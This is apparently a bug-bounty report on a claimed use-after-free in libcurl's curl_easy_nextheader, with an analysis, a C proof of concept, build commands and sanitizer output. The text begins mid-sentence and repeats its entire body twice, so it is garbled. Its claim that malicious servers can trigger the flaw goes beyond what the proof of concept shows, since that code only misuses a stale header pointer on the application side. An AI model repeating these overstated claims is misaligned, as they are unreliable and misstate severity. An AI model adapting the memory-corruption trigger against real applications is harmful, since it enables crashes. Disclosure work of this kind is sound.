Description
).
The API returns struct curl_header objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL* handle, libcurl frees and rebuilds the internal header list, but previously returned struct curl_header objects remain valid to the application and are still accepted as input.
Passing such a stale header object back to curl_easy_nextheader() causes libcurl to dereference a freed internal pointer, leading to a heap use-after-free.
This is a memory safety vulnerability reachable through normal API usage and attacker-controlled HTTP responses.
Affected Versions
All libcurl versions that include the Headers API (curl_easy_header, curl_easy_nextheader)
Reproduced on:
Kali Linux libcurl (January 2026)
Likely all current supported versions
File:
lib/headers.c
Technical Analysis
Vulnerable Design
curl_easy_nextheader() exposes struct curl_header to the application:
struct curl_header {
const char *name;
const char *value;
unsigned int amount;
unsigned int index;
unsigned int origin;
void *anchor; /* internal Curl_llist_node */
};
The anchor field stores a pointer to libcurl’s internal linked list node:
copy_header_external(..., struct Curl_llist_node *e, ...) {
h->anchor = e;
}
Later, when a new request is performed, libcurl frees the internal header list:
Curl_headers_cleanup(struct Curl_easy *data) {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
struct Curl_header_store *hs = Curl_node_elem(e);
curlx_free(hs);
}
}
However, previously returned struct curl_header objects remain valid in user code and can still be passed back to:
curl_easy_nextheader(CURL *easy, unsigned int type, int request,
struct curl_header *prev)
This function blindly dereferences:
pick = prev->anchor;
pick = Curl_node_next(pick);
If the header list has been freed and rebuilt, prev->anchor now points to freed heap memory → use-after-free.
There is:
No invalidation of old struct curl_header
No generation tracking
No lifetime enforcement
The API contract does not state that header handles become invalid after a new request.
Proof of Concept
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl = curl_easy_init();
if(!curl) return 1;
struct curl_header *h = NULL;
/* First request */
curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_perform(curl);
/* Obtain and store a header */
h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
printf("saved header: %s: %s\n", h->name, h->value);
/* Second request (frees and rebuilds internal header list) */
curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
curl_easy_perform(curl);
/* Reuse stale header handle */
printf("calling nextheader with stale prev...\n");
struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
if(h2)
printf("next header: %s: %s\n", h2->name, h2->value);
curl_easy_cleanup(curl);
return 0;
}
Build and Run
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc
ASAN Output (Excerpt)
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
libcurl.so Curl_headers_cleanup
allocated by:
libcurl.so Curl_headers_push
This confirms that curl_easy_nextheader() dereferences freed memory.
## Impact
Security Impact
A malicious HTTP server can influence response headers and trigger a heap use-after-free in applications using libcurl’s Headers API when multiple requests are performed on the same CURL* handle.
This can lead to:
Process crash (Denial of Service)
Heap memory corruption
Potential code execution depending on allocator state and surrounding memory
The vulnerability:
Is reachable through documented public API
Is triggered by attacker-controlled HTTP responses
Does not require MITM
The API returns struct curl_header objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL* handle, libcurl frees and rebuilds the internal header list, but previously returned struct curl_header objects remain valid to the application and are still accepted as input.
Passing such a stale header object back to curl_easy_nextheader() causes libcurl to dereference a freed internal pointer, leading to a heap use-after-free.
This is a memory safety vulnerability reachable through normal API usage and attacker-controlled HTTP responses.
Affected Versions
All libcurl versions that include the Headers API (curl_easy_header, curl_easy_nextheader)
Reproduced on:
Kali Linux libcurl (January 2026)
Likely all current supported versions
File:
lib/headers.c
Technical Analysis
Vulnerable Design
curl_easy_nextheader() exposes struct curl_header to the application:
struct curl_header {
const char *name;
const char *value;
unsigned int amount;
unsigned int index;
unsigned int origin;
void *anchor; /* internal Curl_llist_node */
};
The anchor field stores a pointer to libcurl’s internal linked list node:
copy_header_external(..., struct Curl_llist_node *e, ...) {
h->anchor = e;
}
Later, when a new request is performed, libcurl frees the internal header list:
Curl_headers_cleanup(struct Curl_easy *data) {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
struct Curl_header_store *hs = Curl_node_elem(e);
curlx_free(hs);
}
}
However, previously returned struct curl_header objects remain valid in user code and can still be passed back to:
curl_easy_nextheader(CURL *easy, unsigned int type, int request,
struct curl_header *prev)
This function blindly dereferences:
pick = prev->anchor;
pick = Curl_node_next(pick);
If the header list has been freed and rebuilt, prev->anchor now points to freed heap memory → use-after-free.
There is:
No invalidation of old struct curl_header
No generation tracking
No lifetime enforcement
The API contract does not state that header handles become invalid after a new request.
Proof of Concept
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl = curl_easy_init();
if(!curl) return 1;
struct curl_header *h = NULL;
/* First request */
curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_perform(curl);
/* Obtain and store a header */
h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
printf("saved header: %s: %s\n", h->name, h->value);
/* Second request (frees and rebuilds internal header list) */
curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
curl_easy_perform(curl);
/* Reuse stale header handle */
printf("calling nextheader with stale prev...\n");
struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
if(h2)
printf("next header: %s: %s\n", h2->name, h2->value);
curl_easy_cleanup(curl);
return 0;
}
Build and Run
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc
ASAN Output (Excerpt)
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
libcurl.so Curl_headers_cleanup
allocated by:
libcurl.so Curl_headers_push
This confirms that curl_easy_nextheader() dereferences freed memory.
## Impact
Security Impact
A malicious HTTP server can influence response headers and trigger a heap use-after-free in applications using libcurl’s Headers API when multiple requests are performed on the same CURL* handle.
This can lead to:
Process crash (Denial of Service)
Heap memory corruption
Potential code execution depending on allocator state and surrounding memory
The vulnerability:
Is reachable through documented public API
Is triggered by attacker-controlled HTTP responses
Does not require MITM
Basic Information
ID
H1:3508701
Published
Jan 13, 2026 at 11:39
Modified
Jan 14, 2026 at 09:23